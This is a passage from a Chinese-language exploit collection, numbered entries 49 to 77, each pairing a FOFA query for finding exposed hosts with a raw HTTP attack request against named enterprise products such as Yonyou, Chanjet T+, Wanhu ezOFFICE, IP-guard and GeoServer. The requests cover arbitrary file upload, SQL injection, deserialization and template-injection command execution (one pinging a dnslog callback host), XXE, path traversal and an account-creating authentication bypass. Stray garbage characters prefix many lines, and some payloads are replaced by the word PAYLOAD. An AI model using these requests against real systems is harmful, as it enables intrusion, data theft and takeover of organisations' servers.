$ L$ V% c% [$ y2 U4 @upload
3 @6 j- Q) E9 l; R+ ]) T/ s------269520967239406871642430066855--

' u( N4 d8 j) h( g3 B
49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
6 }9 y! o# P- Z* J* [( M, ]
POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
  U5 Z. |1 ?; v) mHost: x.x.x.x
1 D1 k2 V; V+ bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
9 s* D" T* o+ @! V8 S& MContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ o) A! f3 U& w1 N% a5 YAccept-Encoding: gzip, deflate
1 U( E. y% Q9 k2 R7 y! k# FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
8 [. w/ w9 d' g( B2 }0 i+ y+ J
; o- o. m5 w  j+ l8 u: |3 U-----------------------------vvv3wdayqv3yppdxvn3w
) Y* i- n5 K4 Z2 s+ [Content-Disposition: form-data; name="file"; filename="%s.php "
Content-Type: application/octet-stream

7 A6 b6 J2 X, `* O$ zwersqqmlumloqa
  ^+ Y9 H1 S$ N: D( T-----------------------------vvv3wdayqv3yppdxvn3w
2 b+ [" K$ W( j8 u1 W# B1 EContent-Disposition: form-data; name="upload"

( C1 G7 Z2 c" J. z5 Fupload
9 I" I& v* T1 c7 a9 f8 l* n! a-----------------------------vvv3wdayqv3yppdxvn3w--

; p# |3 m# ~4 b
( j$ P+ r. L3 r% c% Xhttp://x.x.x.x/tmpfile/updB3CB.tmp.php
0 x3 K9 `8 U9 h
50. QDocs Smart School 6.4.1 filterRecords SQL注入
5 z' l( D; r$ P2 pFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
3 S4 W' Q' _4 U: Q5 a! ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
# k% C, r0 a! n9 V* pConnection: close
Content-Length: 224
- T) N# ~( }3 j# g2 WAccept: */*
Accept-Language: en
& u! r0 |7 V6 f! GContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
9 M( q% Z$ h8 l7 {, a' N: M
  `& d6 n+ B! n1 p9 }9 ?- d) usearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
4 K3 K) w8 S' H

* @3 A3 U( A# q51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
6 H, L% \% T6 B5 p2 GGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
* ]5 J0 u3 p8 m2 H8 I( v% wUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
) o, i: H! o" ?; I, _) VAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
4 C8 K; U8 o- ~' ?- eAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
" w$ b- w4 ]( J/ ^/ sConnection: close

. j! z8 b8 R% f0 {$ h6 M6 v. @, I
52. 泛微E-Office json_common.php sql注入
3 \- D2 [' F, ~2 b! bFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
( g9 x1 U" K# V2 B% S) sHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
" o# B3 i, A% H. rContent-Length: 87
1 m% x! G. x5 Y- i, m5 Y& }" uAccept: */*
' n! n* E* D$ X$ R4 @" vAccept-Language: en
4 @$ Q, J$ @, ZContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
7 C! _, h! r. k# T( z
* E. E. k; ~2 Y2 L- A. Q) ~5 }1 n
53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
& ^$ m( R' Y, n+ r9 Q$ B/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


7 d9 M, `) H7 k$ D1 W. L! ?54. 畅捷通T+ getstorewarehousebystore 远程代码执行
0 H, _$ j3 p% O/ |6 g# F- }0 C- e! zFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
3 D; C( a! V$ [* N  ~2 f"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

3 w% L% {" \& ]( n7 \
# I: d5 u4 \1 j8 }, q: T( _8 |6 K' {完整数据包
! W) p. `; l$ p! Y& P* kPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
: @5 w+ o7 u2 j* n6 v1 l% YHost: x.x.x.x
5 O+ N2 v$ z6 {User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
, C% Y8 n0 _( v- o7 a' m "MethodName":"Start",
  "ObjectInstance":{
8 e* K. O& @, e: @   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
7 g* {4 M6 m) W" q5 q: _   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
  [* Z8 [2 _$ I# N9 N3 G5 U    "FileName":"cmd",
  ], o3 Z; [5 e8 m1 ]6 P6 T    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
8 S8 `: N# M9 P5 }7 ~}


第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
! i7 _% b, B& m! V7 X' ?2 ^
& w; h, Y, F1 V; g1 @
55. 畅捷通T+ getdecallusers信息泄露
% G; |2 ?! U, X! c) {- C( }FOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
7 O* q8 [4 L. b# MFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
' i/ g  B7 Y. T0 r: c& h
3 V6 h$ M. o4 A( n6 h{
, G1 b: B( O! S! t& t  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
6 h1 V- O6 ^/ d       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
- ~3 a) F1 Z. c7 f5 W/ A        "StartInfo": {
1 E2 N* P- e$ {; y  J* i+ k! A           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
6 x, k( e/ J1 P           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
9 r( M* {# ]' Z4 H& f+ C5 O, o       }
! D$ L. Q  Z! ^. q" j& I* O    }
7 I6 E, d/ `) A& L0 B  }
0 t' g( t! C6 ~; G) T}

, `/ c3 w, ?  l+ Y) N% B
+ v' F( v! h, w* `4 ^  S7 \57. 畅捷通T+ keyEdit.aspx SQL注入
+ G3 m# ?& ?' C6 U; E3 T- @FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
4 n- {2 u( `$ a* {Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
" G5 x7 s" I7 f( t# S
/ n8 o' w2 U% R4 V# i
1 t$ [" H6 R! G: q; m# h0 I1 i/ V58. 畅捷通T+ KeyInfoList.aspx sql注入
, w' l( F/ Z3 M& P. y7 WFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
" i! ?9 ?. Q7 T. T- u3 FUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
+ X! Y8 E& ~- sAccept-Encoding: gzip, deflate
Connection: close


59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
5 z! ~2 W( g( R( `  b  w, ~; dFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
& n2 T1 ~, w+ b3 c1 s! e7 p; kPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
2 L2 \2 R) B5 s# F* bHost: 192.168.86.128:9090
. p9 V( x; F2 o; o, d; ]User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
- V8 s  h; I/ a# M( U: [' \2 x8 ZAccept: */*
$ l/ j' y6 J% N' K1 PAccept-Language: en
, e* g  E- a! @6 L7 YContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
$ i/ W7 F: E% i) h: e( t$ u
; A5 l; U7 n! p  h/ t& \PAYLOAD

8 H/ n  w8 q" _4 n/ {& b& Q
60. 百卓Smart管理平台 importexport.php SQL注入
+ s% Q. J- S) t6 \- ~0 UFOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
$ G! j' d6 y5 M5 A  Z; D; \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
  e/ I- E" [+ D# u: i, i. r! Z  H$ uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* ]3 ?+ F/ \; O1 v* d# |Accept-Encoding: gzip, deflate
0 j; y2 }- Y" }) i  Q2 G5 E9 K  LAccept-Language: zh-CN,zh;q=0.9
Connection: close
0 h/ o$ y* c* }3 R" c

3 f2 p$ z" o% I6 ?3 a1 _61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
0 o; [7 R% V+ i# D" lPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
; L( T2 e) I% V' E. J. iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
/ _: Y- g5 u! B( q3 |  s8 QConnection: close
Content-Length: 27
3 k# a7 I$ R9 i$ h; Y9 ~: QAccept: */*
Accept-Encoding: gzip, deflate
% ]+ e% |# }/ P$ @  E" qAccept-Language: en
* ^$ X: P3 a  D% ^8 wContent-Type: application/x-www-form-urlencoded

5 R$ {* _9 e) b8uxssX66eqrqtKObcVa0kid98xa

. z% a4 g+ f% F7 t
62. IP-guard WebServer 远程命令执行
" @7 Z' p: w# |2 N6 F( ?5 ZFOFA："IP-guard" && icon_hash="2030860561"
; t# R0 ^- F% V7 CGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
" z4 _" y4 F  o, }+ GAccept: */*
Accept-Language: en
Accept-Encoding: gzip
6 W% F* {! a1 R6 n5 W
5 Q7 t* J5 O1 F
! c% H( n0 p& M4 ?! @访问

: O2 S  K  G" K8 d# AGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x

8 }2 q  Z# t5 @  l6 v4 v( A5 r
63. IP-guard WebServer任意文件读取
0 y/ u* c% z# G8 f3 iIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
1 M& m1 @0 w; Z2 t+ E+ NPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
) ^- Y+ E" G, O: m: h% P- oAccept-Language: zh-CN,zh;q=0.9
Connection: close
8 U2 h) x' M  `- ^' W1 {1 f2 eContent-Type: application/x-www-form-urlencoded

( F- H0 g' C" v! d" \) i/ c8 rpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
" Z, r9 s, e2 k4 a9 a, ~
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
4 M; Q- Z. l6 k$ l0 wFOFA：body="/Scripts/EnjoyMsg.js"
$ ]3 a9 j5 W5 N) @$ o1 e) ]# CPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
- ^. b1 E$ F3 [+ c8 ], T/ W+ j8 m- IHost: 192.168.86.128:9001
$ t3 F' i" `( z8 F) ~User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
( B) N! x( b3 o) P7 cAccept: */*
/ x9 L! l, L% C, _% nAccept-Language: en
& m8 ]4 Z6 s  j7 `! y0 R, k# oContent-Type: text/xml; charset=utf-8
5 [; ^* k/ E" dAccept-Encoding: gzip
& d6 T& L) j2 A' O% F' `1 u5 L
  D) p1 k/ N9 d5 h2 \% [) V<?xml version="1.0" encoding="utf-8"?>
+ ~, S0 x: h( F9 w! _<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
; I- C) H  d& v9 l    <GetOSpById xmlns="http://tempuri.org/">
2 ^" z/ b7 [3 Q3 E" h8 k      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
</soap:Envelope>

# F& E  O" A! B1 F& T5 \# J' o
) J' ?* e4 U1 s+ w2 W! A65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
5 `9 @& u/ b! yFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
* Y: @& f1 w* @POST /SystemMng.ashx HTTP/1.1
Host:
0 S: M3 P+ {3 n5 G- c* J) @User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
, o5 p7 h0 U# Y8 S# S8 DContent-Length: 174

; u% \! U5 [3 l4 {5 C6 p, x& N/ xoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
6 O" \+ c0 P; V' }) R  M

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
8 }7 N+ g0 b9 ~& u; l& b+ ~FOFA：app="万户ezOFFICE协同管理平台"
! X5 i+ o6 u' U( |. B
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
- y- N& ?5 f5 \+ _, S3 {# t$ KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
) |# y8 h5 i5 L5 I" _4 XConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
$ z5 _  W+ n" A* o6 @1 \$ o

第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
& r/ n3 @- o) w' v* o+ F3 o6 i1 C: x
: [& z; ~" S* B7 O) A- p* \/ \0 a, ?67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
8 O( J8 {2 c& x& o/ F5 LHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
: z' ]1 |( {" v3 i7 LContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
# P8 E% d; }6 k0 WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
9 V2 V; \  n4 B1 dConnection: close
+ a' u  ?  C9 l' \5 c' @Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
" ^/ O2 u* o2 @* P( sDNT: 1
2 _# q0 T5 ]# KUpgrade-Insecure-Requests: 1

( j% @% M8 M0 A8 b1 F--ufuadpxathqvxfqnuyuqaozvseiueerp
8 x1 G% d, P. Q1 N* O; o' s5 b. k) ~6 OContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

9 k8 f& I3 h' U3 Q- z0 V. V) |<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

6 @, d) d* F8 x) H9 \8 F
文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

& U* C  E) F8 f1 |7 B7 X68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
5 _% T; Y" U. a3 zGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
6 x" e) C, p. {2 A* P$ qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
4 R5 j% \4 p; K3 fAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
7 Q. o" [7 [) {" LAccept-Language: zh-CN,zh;q=0.9
# R- X& w7 \. Q1 V+ A. l8 bConnection: close
0 S, X5 s. w* V' J5 t- z$ x+ T

$ H" W: U' m; j( C5 j1 j. M69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
1 V; V2 d- u, |8 [8 U0 X: QGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
/ v/ w+ D+ r7 j, U; i! @9 Z1 QAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
; S" J$ R8 [# b; f# }) P/ g

70. 万户ezEIP success 命令执行
6 `5 t9 _2 W4 X3 e$ b/ wFOFA：app="万户网络-ezEIP"
  q$ S  m" @* M! |POST /member/success.aspx HTTP/1.1
- ~* _2 P( ?! w" ?Host: {{Hostname}}
+ V# Z# Z9 V+ f6 B6 z8 i& MUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
( D2 M$ V6 m2 AContent-Length: 16702

6 h2 O3 }. {. I: C0 V& z  I- w__VIEWSTATE=PAYLOAD


3 e4 L" L5 R: R; P71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
8 Y4 U; |$ V% p' C7 d6 x5 f. WHost: x.x.x.xx.x.x.x
; ?, v) N! Z2 r0 j4 h' DUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; q! l: b2 n7 C  zAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) R$ L* f3 w4 i2 O# FUpgrade-Insecure-Requests: 1

# l& P$ c9 n( I
. p" a$ R1 V- n, j7 @3 S9 v72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
8 g7 h) a. I7 l; s8 L' UPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
- [+ ~3 ]6 B8 U3 C* i+ VContent-Length: 583
% y$ y4 l9 X6 IContent-Type: application/x-www-form-urlencoded
+ g  ~* W* j; ^5 F) h/ a" Y. h. C) ZAccept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
+ S, @/ t8 S+ u7 j
! v0 V2 a/ j8 O6 V1 Q3 }
73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
" w8 z( n2 D+ d% E# RPOST /geoserver/wms HTTP/1.1
! q, p6 U+ z2 I5 W1 oHost:
1 B$ j; Z, U  M5 F! v1 MUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
9 T& c6 D9 U$ P  r- k( h$ Z7 KContent-Length: 1981
/ ?* A/ }, o; d- X% A9 [Accept-Encoding: gzip, deflate
, C0 @. i2 U- _% HConnection: close
9 A$ {% K, m2 fContent-Type: application/xml
! J' B  o+ x+ S9 V  I3 M! f; oSL-CE-SUID: 3
/ k* A" w1 ^0 O4 r, v" |: k
4 G1 r/ i& R6 f3 x% RPAYLOAD


9 v# a' f4 ~$ b: O, I8 z  Z7 |74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD

75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
0 b" ~5 e5 O2 X8 j8 SFOFA：app="TELESQUARE-TLR-2005KSH"
( `( d2 W& P7 k) @- j; |' x) RGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
* l8 k7 m  \; A( k/ U: r; FHost: x.x.x.x
6 j3 e/ o- ?/ [& PUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept: */*
. V, ~+ k, {3 E3 U4 b) JAccept-Language: en
Accept-Encoding: gzip

# Q2 I$ i+ Y4 S4 \( r" ?5 i
GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x

9 \0 s& j+ n2 M. s& U& T) R3 V. P) W
76. 新开普掌上校园服务管理平台service.action远程命令执行
; N' w  g6 Z! S+ ^2 f2 ^FOFA：title="掌上校园服务管理平台"
; ], p  N0 ]+ h, t4 S$ v) hPOST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
" {* m# J( Y% h' u; H5 \: ^Content-Length: 211
2 x. }1 y1 D6 S# c8 [7 UAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
$ }! z: U- ~/ y; w0 j8 z9 Q" sAccept-Encoding: gzip, deflate
3 F3 ~" i# f8 Z9 u% f- VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
5 H$ k. q* I: @Upgrade-Insecure-Requests: 1
0 j- k* j  b8 c# B( f1 b& P$ F
7 l% c* ~$ a/ _; q: I- z{
"command": "GetFZinfo",
" U0 l% M( G! ^* ], w$ D  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
3 ~$ C; t9 S& H' F. N' p9 @9 M  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}


GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
; X0 J; ^% f5 ?6 jHost: x.x.x.x
, G: Q9 Q3 X; y$ F9 s/ W% n6 R
0 |; F2 |: Y( N8 ]7 _1 ?+ o1 T
  u) v: q% ^* Q7 b% H
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
9 N1 ^/ Q) F$ j& UPOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
; D2 }; ^1 k; t' d  {2 R; O$ Y- RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
- ~* y4 w& a" X4 P( O9 W1 v, o& u
------------398jnjVTTlDVXHlE7yYnfwBoix
4 _5 [( d: C' `, b" ^8 b1 \Content-Disposition: form-data; name="folder"

# i9 l9 q2 f6 a1 p. W4 U/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

hello1234567
, c4 _" s# e5 x& i$ w! ~3 q------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Upload"
